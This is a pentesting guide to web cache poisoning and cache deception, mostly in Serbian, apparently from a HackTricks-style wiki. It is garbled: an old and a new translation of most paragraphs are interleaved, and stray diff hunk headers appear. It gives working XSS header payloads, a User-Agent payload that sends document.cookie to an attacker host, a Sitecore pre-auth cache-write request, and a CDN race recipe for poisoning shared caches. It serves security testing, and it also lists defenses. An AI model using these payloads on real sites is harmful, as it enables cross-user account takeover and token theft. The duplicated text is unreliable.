Cache poisoning ima cilj manipulaciju keša na strani klijenta kako bi primorao klijente da učitaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer se zagađeni odgovor poslužuje isključivo korisnicima koji posete stranicu tokom perioda kontaminacije keša.
Cache poisoning ima za cilj manipulaciju client-side cache-a kako bi primorao klijente da učitavaju resurse koji su neočekivani, nepotpuni ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer je zatrovan odgovor serviran isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije cache-a.
Izvođenje cache poisoning napada uključuje nekoliko koraka:
1. **Identifikacija neključnih ulaza (unkeyed inputs)**: To su parametri koji, iako nisu potrebni da bi se zahtev keširao, mogu izmeniti odgovor koji vraća server. Identifikovanje ovih ulaza je ključno jer se mogu iskoristiti za manipulaciju kešom.
2. **Eksploatacija neključnih ulaza**: Nakon identifikacije, sledeći korak je otkriti kako zloupotrebiti te parametre da se izmeni odgovor servera na način koji pogoduje napadaču.
3. **Osiguravanje da je zagađeni odgovor keširan**: Krajnji korak je obezbediti da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupi pogođenoj stranici dok je keš zagađen, dobiće kompromitovani odgovor.
1. **Identifikacija neključanih ulaza**: Ovo su parametri koji, iako nisu neophodni za keširanje zahteva, mogu promeniti odgovor koji vraća server. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju cache-om.
2. **Iskorišćavanje neključanih ulaza**: Nakon identifikacije neključanih ulaza, sledeći korak je otkriti kako zloupotrebiti ove parametre da se izmeni odgovor servera na način koji koristi napadaču.
3. **Osiguravanje da je zatrovan odgovor keširan**: Poslednji korak je osigurati da je manipulisani odgovor sačuvan u cache-u. Na taj način, svaki korisnik koji pristupi pogođenoj stranici dok je cache zatrovan dobiće zatrovan odgovor.
### Otkrivanje: Proverite HTTP zaglavlja
Obično, kada je odgovor sačuvan u kešu, postojaće zaglavlje koje to označava — možete proveriti koja zaglavlja treba da pratite u ovom postu: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Obično, kada je odgovor **sačuvan u cache-u** biće prisutno **zaglavlje koje to ukazuje**, možete proveriti na koja zaglavlja treba da obratite pažnju u ovom postu: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Otkrivanje: Keširanje status kodova grešaka
### Otkrivanje: Keširanje kodova grešaka
Ako sumnjate da se odgovor čuva u kešu, možete pokušati da pošaljete zahteve sa lošim zaglavljem, na koje bi trebalo da se odgovori status kodom 400. Zatim pokušajte da pristupite zahtevu normalno i ako je odgovor status kod 400, znate da je ranjivo (i čak biste mogli izvesti DoS).
Ako mislite da se odgovor čuva u cache-u, možete pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da bude odgovoreno sa **status code 400**. Zatim pokušajte da pristupite zahtevu normalno i ako je **odgovor status code 400**, znate da je ranjivo (i čak biste mogli izvesti DoS).
Možete pronaći više opcija u:
You can find more options in:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
Međutim, imajte na umu da **ponekad ovakvi status kodovi nisu keširani**, pa ovaj test možda neće biti pouzdan.
Međutim, imajte na umu da **ponekad ovakvi status kodovi nisu keširani**, pa ovaj test možda nije pouzdan.
### Otkrivanje: Identifikujte i ocenite neključne ulaze
### Otkrivanje: Identifikujte i ocenite neključane ulaze
Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da brute-force-ujete parametre i zaglavlja koja mogu menjati odgovor stranice. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da naznači klijentu da učita skriptu odatle:
Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja možda **menjaju odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da naznači klijentu da učita skriptu odande:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server
### Izazovite štetan odgovor sa back-end servera
Kada identifikujete parameter/header, proverite kako se **sanitizuje** i **gde** se **reflektuje** ili utiče na odgovor iz header-a. Možete li ga iskoristiti na bilo koji način (izvesti XSS ili učitati JS kod koji vi kontrolišete? izvesti DoS?...)
Sa identifikovanim parametrom/zaglavljem proverite kako se on **sanitizuje** i **gde** se **reflektuje** ili na koji način utiče na odgovor iz zaglavlja. Možete li ga ipak zloupotrebiti (izvršiti XSS ili učitati JS kod kojim upravljate? izvršiti DoS?...)
### Get the response cached
### Naterajte odgovor da bude keširan
Nakon što ste **identifikovali** **stranicu** koja može biti zloupotrebljena, koji **parameter**/**header** koristiti i **kako** je **zloupotrebiti**, potrebno je da stranica bude keširana. U zavisnosti od resursa koji pokušavate da ubacite u cache, ovo može potrajati — možda ćete morati da pokušavate nekoliko sekundi.
Kada ste **identifikovali** **stranicu** koja se može zloupotrebiti, koji **parametar**/**zaglavlje** koristiti i **kako** ga **zloupotrebiti**, potrebno je da stranicu keširate. U zavisnosti od resursa koji pokušavate da stavite u keš, to može potrajati — možda ćete morati da pokušavate nekoliko sekundi.
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
Zaglavlje **`X-Cache`** u odgovoru može biti veoma korisno jer može imati vrednost **`miss`** kada zahtev nije bio keširan i vrednost **`hit`** kada jeste keširan.\
Zaglavlje **`Cache-Control`** je takođe interesantno da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800`
Još jedno interesantno zaglavlje je **`Vary`**. Ovo zaglavlje se često koristi da **naznači dodatna zaglavlja** koja se tretiraju kao **deo cache ključa** čak i ako inače nisu ključovana. Dakle, ako korisnik zna `User-Agent` žrtve koju targetira, on može poison the cache za korisnike koji koriste taj specifični `User-Agent`.
Još jedno interesantno zaglavlje je **`Vary`**. Ovo zaglavlje se često koristi da **naznači dodatna zaglavlja** koja se tretiraju kao **deo cache ključa** čak i ako obično nisu uključena. Dakle, ako napadač zna `User-Agent` žrtve koju cilja, može poison the cache za korisnike koji koriste taj specifični `User-Agent`.
Još jedno zaglavlje vezano za keš je **`Age`**. Ono definiše vreme u sekundama koliko je objekat bio u proxy cache-u.
Još jedno zaglavlje vezano za keš je **`Age`**. Ono definiše vreme u sekundama koliko je objekat bio u proxy kešu.
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
Kod keširanja zahteva, budite **pažljivi sa zaglavljima koje koristite** zato što neka od njih mogu biti **neočekivano korišćena** kao **ključevi**, i **žrtva će morati koristiti isto zaglavlje**. Uvek **testirajte** Cache Poisoning sa **različitim browser-ima** da proverite da li radi.
## Exploiting Examples
## Primeri eksploatacije
### Easiest example
### Najjednostavniji primer
Zaglavlje poput `X-Forwarded-For` se reflektuje u odgovoru bez sanitizacije.\
Možete poslati osnovni XSS payload i poison the cache tako da svi koji pristupe stranici budu XSS-ovani:
Možete poslati osnovni XSS payload i poison the cache tako da će svi koji pristupe stranici biti XSS-ovani:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Napomena: ovo će poison zahtev ka `/en?region=uk`, a ne ka `/en`_
_Napomena: ovo će poison-ovati zahtev ka `/en?region=uk`, ne ka `/en`_
### Cache poisoning to DoS
@ -81,23 +81,23 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:
U **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** objašnjen je sledeći jednostavan scenario:
- CDN će cache-ovati sve što je pod `/share/`
- CDN neće dekodovati niti normalizovati `%2F..%2F`, stoga se može koristiti kao **path traversal za pristup drugim osetljivim lokacijama koje će biti cached** kao `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- web server će dekodovati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**.
- CDN će keširati sve pod `/share/`
- CDN NEĆE dekodirati niti normalizovati `%2F..%2F`, stoga se to može iskoristiti kao **path traversal za pristup drugim osetljivim lokacijama koje će biti keširane** kao `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web server ĆE dekodirati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**.
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies se takođe mogu reflektovati u odgovoru stranice. Ako to možete iskoristiti da, na primer, prouzrokujete XSS, mogli biste iskoristiti XSS u više klijenata koji učitavaju maliciozan cache response.
Cookies takođe mogu biti reflektovani u odgovoru stranice. Ako to možete zloupotrebiti da, na primer, izazovete XSS, mogli biste iskoristiti XSS u više klijenata koji učitavaju zlonamerni keširani odgovor.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Imajte na umu da ako je ranjivi cookie često korišćen od strane korisnika, obični zahtevi će čistiti cache.
Imajte na umu da, ako je ranjiv cookie često korišćen od strane korisnika, redovni zahtevi će čistiti cache.
### Generisanje razlika pomoću delimitera, normalizacije i tačaka <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generisanje neusaglašenosti pomoću delimitera, normalizacije i tačaka <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Pogledaj:
@ -106,9 +106,9 @@ Pogledaj:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning sa path traversal za krađu API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ovaj writeup objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API key sa URL-om kao `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizovanja URL-a, što je urađeno kada je zahtev stigao do web servera.
[**Ovaj writeup objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API key pomoću URL-a kao `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` zato što će bilo šta što odgovara `/share/*` biti cached bez da Cloudflare normalizuje URL, što se dešavalo kada je zahtev stigao do web servera.
Ovo je takođe bolje objašnjeno u:
@ -117,18 +117,18 @@ Ovo je takođe bolje objašnjeno u:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Korišćenje više header-a za iskorišćavanje web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Ponekad će vam biti potrebno da **iskoristite nekoliko unkeyed inputa** da biste mogli zloupotrebiti cache. Na primer, možete naći **Open redirect** ako postavite `X-Forwarded-Host` na domen pod vašom kontrolom i `X-Forwarded-Scheme` na `http`. **Ako** **server** **preusmerava** sve **HTTP** zahteve **na HTTPS** i koristi header `X-Forwarded-Scheme` kao ime domena za redirect, možete kontrolisati gde će stranica biti upućena putem tog redirect-a.
Ponekad će vam biti potrebno da **exploit several unkeyed inputs** kako biste mogli da **abuse a cache**. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. Ako **server** preusmerava sve **HTTP** zahteve **to HTTPS** i koristi header `X-Forwarded-Scheme` kao naziv domena za redirect, možete kontrolisati gde će stranica biti usmerena putem redirect-a.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Eksploatisanje sa ograničenim `Vary` zaglavljem
### Iskorišćavanje sa ograničenim `Vary` header-om
Ako utvrdite da se **`X-Host`** zaglavlje koristi kao **domain name to load a JS resource**, ali da **`Vary`** zaglavlje u odgovoru pokazuje **`User-Agent`**. Tada treba da pronađete način da exfiltrate User-Agent žrtve i poison the cache koristeći tog User-Agenta:
Ako otkrijete da se header **`X-Host`** koristi kao **domena za učitavanje JS resursa**, ali da **`Vary`** header u odgovoru ukazuje na **`User-Agent`**, moraćete da pronađete način da exfiltrate User-Agent žrtve i poison the cache koristeći taj user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -137,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Pošaljite GET request sa istim podacima u URL-u i u body-ju. Ako web server koristi onaj iz body-ja, ali cache server kešira onaj iz URL-a, svako ko pristupi tom URL-u će zapravo koristiti parameter iz body-ja. Kao vuln koji je James Kettle pronašao na Github-u:
Pošaljite GET request sa istim sadržajem u URL-u i u body-ju. Ako web server koristi onaj iz body-ja, ali cache server kešira onaj iz URL-a, svako ko pristupi tom URL-u će zapravo koristiti parameter iz body-ja. Kao vuln koji je James Kettle otkrio na Github sajtu:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -156,62 +156,62 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Saznajte ovde kako izvesti [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje za web cache poisoning. Podržava mnogo različitih tehnika i visoko je prilagodljiv.
Primer upotrebe: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ovaj realni obrazac povezuje header-based reflection primitive sa ponašanjem CDN/WAF-a kako bi pouzdano zatrovao keširani HTML koji se servira drugim korisnicima:
Ovaj real-world pattern povezuje header-based reflection primitive sa ponašanjem CDN/WAF kako bi pouzdano poison-ovao cached HTML koji se isporučuje drugim korisnicima:
- Glavni HTML reflektovao je nepouzdani request header (e.g., `User-Agent`) u izvršni kontekst.
- CDN je uklanjao cache headers, ali je postojao interni/origin cache. CDN je takođe automatski keširao zahteve koji se završavaju statičnim ekstenzijama (npr. `.js`), dok je WAF primenjivao slabiju inspekciju sadržaja na GET-ove za statičke assete.
- Nepravilnosti u toku zahteva omogućile su da zahtev ka `.js` putanji utiče na cache key/variant koji se koristi za naredni glavni HTML, omogućavajući cross-user XSS putem header reflection.
- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context.
- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets.
- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
Praktičan recept (posmatrano na popularnom CDN/WAF-u):
Practical recipe (observed across a popular CDN/WAF):
1) Sa čistog IP-a (izbegavati prethodna reputaciona degradiranja), postavite zlonamerni `User-Agent` preko browsera ili Burp Proxy Match & Replace.
2) U Burp Repeater-u, pripremite grupu od dva zahteva i upotrebite "Send group in parallel" (single-packet mode radi najbolje):
- Prvi zahtev: GET `.js` resource path na istom originu dok šaljete zlonamerni `User-Agent`.
- Odmah nakon toga: GET glavnu stranicu (`/`).
3) CDN/WAF routing trka i automatski keširani `.js` često dovode do pojave zatrovane keširane HTML varijante koja se potom servira drugim posetiocima koji dele iste uslove cache key-a (npr. iste `Vary` dimenzije poput `User-Agent`).
1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.
2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
Primer header payload (za eksfiltraciju non-HttpOnly cookies):
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
Operativni saveti:
- Mnogi CDN-ovi skrivaju cache zaglavlja; poisoning može postati vidljiv tek nakon osvežavanja u višesatnim ciklusima. Koristite više IP lokacija i throttle da biste izbegli rate-limit ili aktiviranje reputacionih zaštita.
- Korišćenje IP adrese iz same CDN cloud mreže ponekad poboljšava konzistentnost rutiranja.
- Ako postoji strogi CSP, ovo i dalje funkcioniše ako se refleksija izvršava u glavnom HTML kontekstu i CSP dozvoljava inline izvršavanje ili je zaobiđena kontekstom.
- Mnogi CDN-ovi sakrivaju cache headers; poisoning se može pojaviti samo tokom osvežavanja na više sati. Koristite više vantage IP-ova i throttle da izbegnete rate-limit ili reputation triggery.
- Korišćenje IP-a iz CDN-ovog vlastitog cloud-a ponekad poboljšava routing consistency.
- Ako je prisutan striktan CSP, ovo i dalje radi ako se reflection izvršava u glavnom HTML kontekstu i CSP dozvoljava inline execution ili je zaobilažen kontekstom.
Impact:
- Ako session cookies nisu `HttpOnly`, zero-click ATO je moguć masovnim eksfiltriranjem `document.cookie` od svih korisnika kojima je poslužen poisoned HTML.
- Ako session cookies nisu `HttpOnly`, zero-click ATO je moguć masovnim exfiltriranjem `document.cookie` od svih korisnika kojima je poslat poisoned HTML.
Defenses:
- Prestanite reflektovati request headers u HTML; striktno enkodirajte po kontekstu ako je neizbežno. Uskladite cache politike CDN-a i origin-a i izbegavajte variranje na nepoverljivim zaglavljima.
- Osigurajte da WAF dosledno primenjuje inspekciju sadržaja na `.js` zahteve i statičke putanje.
- Podesite `HttpOnly` (i `Secure`, `SameSite`) na session cookies.
- Prestani reflektovati request headers u HTML; striktno context-encode ako je neizbežno. Uskladite CDN i origin cache policies i izbegavajte varying na nepoverljivim header-ima.
- Obezbedite da WAF dosledno primenjuje content inspection na `.js` zahteve i statičke putanje.
- Postavite `HttpOnly` (i `Secure`, `SameSite`) na session cookies.
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
A Sitecore‑specific pattern omogućava unauthenticated writes u HtmlCache zloupotrebom pre‑auth XAML handler-a i AjaxScriptManager reflection. Kada se dosegne handler `Sitecore.Shell.Xaml.WebControl`, dostupan je `xmlcontrol:GlobalHeader` (izveden iz `Sitecore.Web.UI.WebControl`) i sledeći reflective poziv je dozvoljen:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Ovo upisuje proizvoljan HTML pod napadačem odabranim cache key-om, omogućavajući precizno poisoning kad su cache keys poznati.
Ovo upisuje proizvoljan HTML pod napadačem izabranim cache key-jem, omogućavajući precizno poisoning kada su cache key-jevi poznati.
Za potpune detalje (cache key construction, ItemService enumeration i chained post-auth deserialization RCE):
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
@ -221,35 +221,35 @@ Za potpune detalje (cache key construction, ItemService enumeration i chained po
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS je prosleđivao fragment unutar URL-a bez čišćenja i generisao cache key koristeći samo host, path i query (ignorišući fragment). Dakle, zahtev `/#/../?r=javascript:alert(1)` je poslat backendu kao `/#/../?r=javascript:alert(1)` i cache key nije sadržao payload, već samo host, path i query.
ATS je prosleđivao fragment iz URL-a bez uklanjanja i generisao cache key koristeći samo host, path i query (ignorišući fragment). Dakle zahtev `/#/../?r=javascript:alert(1)` je poslat na backend kao `/#/../?r=javascript:alert(1)` i cache key nije sadržao payload, već samo host, path i query.
### GitHub CP-DoS
Slanje neispravne vrednosti u content-type header-u je izazvalo 405 cached response. Cache key je sadržavao cookie pa je bilo moguće napasti samo neautentifikovane korisnike.
Slanje pogrešne vrednosti u content-type header-u je izazvalo keširani 405 odgovor. Cache key je sadržao cookie pa je bilo moguće napasti samo unauth users.
### GitLab + GCP CP-DoS
GitLab koristi GCP buckets za čuvanje statičkog sadržaja. **GCP Buckets** podržavaju header `x-http-method-override`. Dakle, bilo je moguće poslati header `x-http-method-override: HEAD` i poison the cache da vraća prazan response body. Takođe je mogla da bude podržana metoda `PURGE`.
GitLab koristi GCP buckets za skladištenje statičkog sadržaja. **GCP Buckets** podržavaju **header `x-http-method-override`**. Dakle, bilo je moguće poslati header `x-http-method-override: HEAD` i poison-ovati cache da vrati prazan response body. Takođe je mogao da podržava metod `PURGE`.
### Rack Middleware (Ruby on Rails)
U Ruby on Rails aplikacijama često se koristi Rack middleware. Svrha Rack koda je da uzme vrednost header-a `x-forwarded-scheme` i postavi je kao scheme zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 redirect-a na istu lokaciju, što potencijalno može prouzrokovati Denial of Service (DoS) za taj resurs. Dodatno, aplikacija može prihvatiti header `X-forwarded-host` i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa napadačevog servera, što predstavlja bezbednosni rizik.
U Ruby on Rails aplikacijama se često koristi Rack middleware. Svrha Rack koda je da uzme vrednost header-a **`x-forwarded-scheme`** i postavi je kao scheme zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 redirect-a na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Dodatno, aplikacija može prihvatiti `X-forwarded-host` header i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa servera napadača, što predstavlja sigurnosni rizik.
### 403 and Storage Buckets
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa neispravnim Authorization header-ima je rezultirao 403 odgovorom koji je bio keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje i dalje može biti prisutno u drugim proxy servisima.
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa netačnim Authorization header-ima bi rezultovao 403 odgovorom koji bi bio keširan. Iako Cloudflare više ne kešira 403 odgovore, ovo ponašanje i dalje može postojati u drugim proxy servisima.
### Injecting Keyed Parameters
Keševi često uključuju specifične GET parametre u cache key. Na primer, Fastly-jev Varnish je keširao `size` parametar u zahtevima. Međutim, ako bi takođe bio poslat URL-encoded oblik parametra (npr. `siz%65`) sa pogrešnom vrednošću, cache key bi bio konstruisan koristeći ispravan `size` parametar. Ipak, backend bi obradio vrednost u URL-encoded parametru. URL-encoding drugog `size` parametra je doveo do njegovog izostavljanja iz cache-a ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultovalo je cacheable 400 Bad Request greškom.
Keševi često uključuju specifične GET parametre u cache key. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako bi URL-enkodovana verzija parametra (npr. `siz%65`) bila takođe poslata sa pogrešnom vrednošću, cache key bi bio konstruisan koristeći ispravan `size` parametar. Ipak, backend bi obradio vrednost iz URL-enkodovanog parametra. URL-enkodovanje drugog `size` parametra dovodilo je do njegovog izostavljanja od strane cache-a, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 tom parametru rezultovalo je cacheable 400 Bad Request greškom.
### User Agent Rules
Neki developeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima alata visokog saobraćaja kao što su FFUF ili Nuclei da bi smanjili opterećenje servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su cache poisoning i DoS.
Neki developeri blokiraju zahteve sa user-agents koji odgovaraju alatima velikog opterećenja kao što su FFUF ili Nuclei da bi kontrolisali load servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su cache poisoning i DoS.
### Illegal Header Fields
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specificira prihvatljive karaktere u imenima header-a. Header-i koji sadrže karaktere van specificiranog **tchar** opsega bi u idealnom slučaju trebalo da izazovu 400 Bad Request. U praksi, serveri se ne pridržavaju uvek ovog standarda. Značajan primer je Akamai, koji prosleđuje header-e sa nevalidnim karakterima i kešira bilo koju 400 grešku, sve dok `cache-control` header nije prisutan. Identifikovan je eksploatabilni obrazac gde slanje header-a sa ilegalnim karakterom, kao što je `\`, dovodi do cacheable 400 Bad Request greške.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specificira prihvatljive karaktere u imenima header-a. Header-i koji sadrže karaktere izvan specificiranog **tchar** opsega idealno bi trebali izazvati 400 Bad Request. U praksi, serveri ne uvek poštuju ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira bilo koju 400 grešku, sve dok `cache-control` header nije prisutan. Identifikovan je eksploatisan obrazac gde slanje header-a sa ilegalnim karakterom, kao što je `\`, rezultira cacheable 400 Bad Request greškom.
### Finding new headers
@ -257,11 +257,11 @@ Neki developeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima a
## Cache Deception
Cilj Cache Deception je naterati klijente da učitavaju resurse koji će biti sačuvani u cache-u sa njihovim osetljivim informacijama.
Cilj Cache Deception je naterati klijente da učitaju resurse koji će biti sačuvani u cache-u zajedno sa njihovim osetljivim informacijama.
Pre svega, imajte na umu da su ekstenzije kao što su `.css`, `.js`, `.png` itd. obično konfigurisane da budu sačuvane u cache-u. Dakle, ako pristupite `www.example.com/profile.php/nonexistent.js` cache će verovatno sačuvati odgovor jer vidi `.js` **extension**. Međutim, ako aplikacija odgovara sa osetljivim korisničkim sadržajem koji je generisan iz _www.example.com/profile.php_, možete ukrasti taj sadržaj od drugih korisnika.
Prvo, imajte na umu da su **extensions** poput `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **cache-u.** Dakle, ako pristupite `www.example.com/profile.php/nonexistent.js` cache će verovatno sačuvati odgovor jer vidi `.js` **extension**. Ali, ako **application** vraća **sensitive** korisnički sadržaj koji je smešten na _www.example.com/profile.php_, možete ukrasti te sadržaje od drugih korisnika.
Ostale stvari za testiranje:
Other things to test:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
@ -271,16 +271,16 @@ Ostale stvari za testiranje:
- _Use lesser known extensions such as_ `.avif`
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
U primeru je objašnjeno da ako učitate nepostojeću stranicu kao _http://www.example.com/home.php/non-existent.css_ sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i cache server će sačuvati rezultat.\
Zatim, napadač može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom browseru i videti poverljive informacije korisnika koji su pristupili ranije.
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Obratite pažnju da cache proxy treba da bude konfigurisana da cache-ira fajlove bazirano na ekstenziji fajla (_.css_), a ne na content-type. U primeru _http://www.example.com/home.php/non-existent.css_ imaće `text/html` content-type umesto `text/css` mime type.
Obratite pažnju da bi **cache proxy** trebao biti **konfigurisан** da **kešira** fajlove **na osnovu** **extension** fajla (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ odgovor će imati `text/html` content-type umesto `text/css` mime type.
Saznajte ovde kako da izvodite[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
